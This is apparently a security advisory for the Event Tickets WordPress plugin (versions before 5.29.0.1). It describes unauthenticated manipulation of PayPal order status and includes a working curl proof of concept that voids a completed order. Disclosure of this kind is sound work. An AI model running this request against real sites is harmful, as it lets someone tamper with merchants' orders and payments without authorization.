Event Tickets < 5.29.0.1 – Unauthenticated PayPal Order Status Manipulation | CVE 2026-14822

Description

The plugin does not perform any authorization check on one of its order-management REST endpoints, allowing unauthenticated users to change the status of existing orders.

Proof of Concept

Prerequisites: Tickets Commerce with the PayPal gateway enabled. No authentication required.

1. Complete a ticket purchase via PayPal on the target site. The success redirect carries the gateway order id, e.g. https://victim.example/?tc-order-id=2GH35224S6447223K
2. Send an unauthenticated request (no cookie, no nonce):

curl -X DELETE "https://victim.example/wp-json/tribe/tickets/v1/commerce/paypal/order/2GH35224S6447223K" \
  -H "Content-Type: application/json" -d '{"failed_status":"voided"}'

Response: HTTP 200 {"success":true,"status":"voided",...}; the order's status changes from completed to voided.